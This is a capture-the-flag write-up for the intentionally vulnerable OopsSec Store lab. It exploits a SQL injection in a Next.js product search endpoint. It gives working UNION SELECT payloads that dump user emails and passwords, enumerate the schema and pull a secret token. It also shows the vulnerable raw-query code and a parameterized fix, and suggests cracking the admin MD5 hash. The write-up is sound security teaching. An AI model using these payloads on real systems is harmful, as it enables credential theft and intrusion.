DEV Community

Cover image for Exfiltrating a Hidden Secret Through a Search Bar with UNION SELECT
Oopssec Store
Oopssec Store

Posted on Originally published at koadt.github.io on AI-assisted

Exfiltrating a Hidden Secret Through a Search Bar with UNION SELECT

#webdev #security #javascript #nextjs

How to exploit a vulnerability in a tiny search box to quietly expose an entire database.

Introduction

This writeup walks through a SQL injection in the product search feature. The search input gets dropped straight into a raw SQL query with no sanitization, so you can manipulate the query to pull data from tables the catalogue never touches. A payload that merely looks like SQL earns nothing here: the flag is handed over only once the response carries a row the search could never have returned.

Lab setup

Spin up the lab locally:

npx create-oss-store oss-store
cd oss-store
npm run dev
Enter fullscreen mode Exit fullscreen mode

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store
Enter fullscreen mode Exit fullscreen mode

The app runs at http://localhost:3000.

OopsSec Store homepage interface

Feature overview and attack surface

The target here is the product search bar in the navigation header. It lets users search products by name or description, hitting this endpoint:

/api/products/search?q=<search_term>
Enter fullscreen mode Exit fullscreen mode

On the backend, the q parameter gets interpolated directly into a SQL query. No escaping, no parameterization. Whatever you type becomes part of the SQL statement.

Product search input field

You can close the intended query context and tack on your own UNION SELECT.

Exploitation procedure

Initial behavior verification

Start by searching for something normal, like fresh. You should get product results back, confirming the endpoint works and actually uses the q parameter.

Injection probing

Now try this payload:

' UNION SELECT 1,2,3,4,5--
Enter fullscreen mode Exit fullscreen mode

A row of 1,2,3,4,5 shows up among the products: the single quote broke out of the LIKE clause and the UNION SELECT merged in. The response also tells you the injection is not the finish line:

{
  "message": "SQL syntax detected in the search term. The flag tracks one specific internal secret, and it is not in these rows."
}
Enter fullscreen mode Exit fullscreen mode

Getting the column count wrong is just as informative, because SQLite's error comes straight back, as an HTTP 500:

{
  "error": "\nInvalid `prisma.$queryRawUnsafe()` invocation:\n\n\nRaw query failed. Code: `1`. Message: `SELECTs to the left and right of UNION do not have the same number of result columns`",
  "products": []
}
Enter fullscreen mode Exit fullscreen mode

Five columns it is.

UNION-based data extraction

Time to pull real data. Submit this:

DELIVERED' UNION SELECT id, email, password, role, addressId FROM users--
Enter fullscreen mode Exit fullscreen mode

This merges the users table into the product results. The app doesn't check where the columns came from, so it happily returns user credentials alongside product listings.

Network response showing manipulated query results

Same thing via curl:

curl "http://localhost:3000/api/products/search?q=DELIVERED%27%20UNION%20SELECT%20id%2C%20email%2C%20password%2C%20role%2C%20addressId%20FROM%20users--"
Enter fullscreen mode Exit fullscreen mode

Schema enumeration

Credentials are loot, not the flag. What the endpoint rewards is reading a row no product search would ever return, so ask SQLite what else lives in there:

' UNION SELECT 1, group_concat(name), 'x', 1, 'y' FROM sqlite_master WHERE type='table'--
Enter fullscreen mode Exit fullscreen mode 
users,products,carts,cart_items,orders,order_items,addresses,flags,hints,revealed_hints,reviews,support_access_tokens,found_flags,project_init,internal_secrets,visitor_logs,wishlists,wishlist_items,password_reset_tokens,supplier_orders,coupons,gift_cards,stream_config,sqlite_sequence
Enter fullscreen mode Exit fullscreen mode

flags is a dead end: any payload naming that table gets a 403, and every OSS{…} value is stripped out of the response before it leaves the server. internal_secrets is the one to look at:

' UNION SELECT 1, sql, 'x', 1, 'y' FROM sqlite_master WHERE name='internal_secrets'--
Enter fullscreen mode Exit fullscreen mode 
CREATE TABLE "internal_secrets" ("id" TEXT NOT NULL PRIMARY KEY, "slug" TEXT NOT NULL, "token" TEXT NOT NULL)
Enter fullscreen mode Exit fullscreen mode

The schema names a slug column but says nothing about its values. Read those rather than guessing them:

' UNION SELECT 1, group_concat(slug), 'x', 1, 'y' FROM internal_secrets--
Enter fullscreen mode Exit fullscreen mode 
product-search-sql-injection,second-order-sql-injection,sql-injection,x-forwarded-for-sql-injection
Enter fullscreen mode Exit fullscreen mode

One row per injection challenge, each named after the challenge it belongs to.

Claiming the flag

This endpoint only looks for its own token, so ask for the product-search-sql-injection row:

' UNION SELECT 1, token, 'x', 1, 'y' FROM internal_secrets WHERE slug='product-search-sql-injection'--
Enter fullscreen mode Exit fullscreen mode

An empty LIKE matches every product, so the whole catalogue comes back and the
injected row sits among it — the literal 1 in the first column is what marks it:

{
  "products": [
    {
      "id": "cmua7d4i4000gienxfk8q9c9l",
      "name": "Artisan Cheese Board",
      "…": "…"
    },
    {
      "id": "1",
      "name": "CANARY-PRODUCT-SEARCH-SQL-INJECTION-d12a4cdea6d3",
      "description": "x",
      "price": "1",
      "imageUrl": "y"
    }
  ],
  "flag": "OSS{pr0duct_s34rch_sql_1nj3ct10n}",
  "message": "Internal secret exfiltrated through the product search! Well done!"
}
Enter fullscreen mode Exit fullscreen mode

The token is generated when the lab is seeded, so it differs on every instance — returning it is proof the query ran.

Dropping the WHERE works just as well: all four rows come back and the endpoint finds its own token among them. The filter keeps the response readable, it is not a requirement.

Vulnerable code analysis

Here's the problem. The query is built with string concatenation:

const sqlQuery = `
  SELECT 
    id,
    name,
    description,
    price,
    "imageUrl"
  FROM products
  WHERE name LIKE '%${query}%' OR description LIKE '%${query}%'
  ORDER BY name ASC
  LIMIT 50
`;

const results = await prisma.$queryRawUnsafe(sqlQuery);
Enter fullscreen mode Exit fullscreen mode

The query parameter is dropped directly into the SQL string, and $queryRawUnsafe does exactly what the name suggests — it skips Prisma’s parameterization entirely. No escaping either. Single quotes, comment delimiters, anything goes.

So when you send:

DELIVERED' UNION SELECT ...
Enter fullscreen mode Exit fullscreen mode

the quote closes the LIKE clause, and everything after it runs as SQL. The database user can read other tables, so the users table comes back for free.

This is CWE-89: Improper Neutralization of Special Elements used in an SQL Command.

Remediation

Don't build SQL queries with string interpolation. Use Prisma's query builder instead:

const results = await prisma.product.findMany({
  where: {
    OR: [
      { name: { contains: query, mode: "insensitive" } },
      { description: { contains: query, mode: "insensitive" } },
    ],
  },
});
Enter fullscreen mode Exit fullscreen mode

User input stays data, never becomes executable SQL.

If you need raw SQL with Prisma, use $queryRaw (parameterized), not $queryRawUnsafe. With MySQL and no ORM, use prepared statements. You should also restrict the database user's permissions so that even if someone does find an injection, the damage is limited. Logging unusual query patterns helps too — you want to know when someone is poking at your search bar with UNION SELECT.

Go further

The leaked data includes an admin email with an MD5 password hash. MD5 is trivially crackable at this point, so you can try recovering the password offline and logging in as admin. From there, you'd have access to restricted endpoints where other flags might be hiding.

Lab

GitHub logo kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

OWASP VWAD TryHackMe room Intentionally Vulnerable
GitHub license PRs Welcome Good first issues
GitHub stars GitHub forks

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx
…
Enter fullscreen mode Exit fullscreen mode
View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Do not exploit vulnerabilities on systems you don’t have explicit authorization to test. Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

Top comments (0)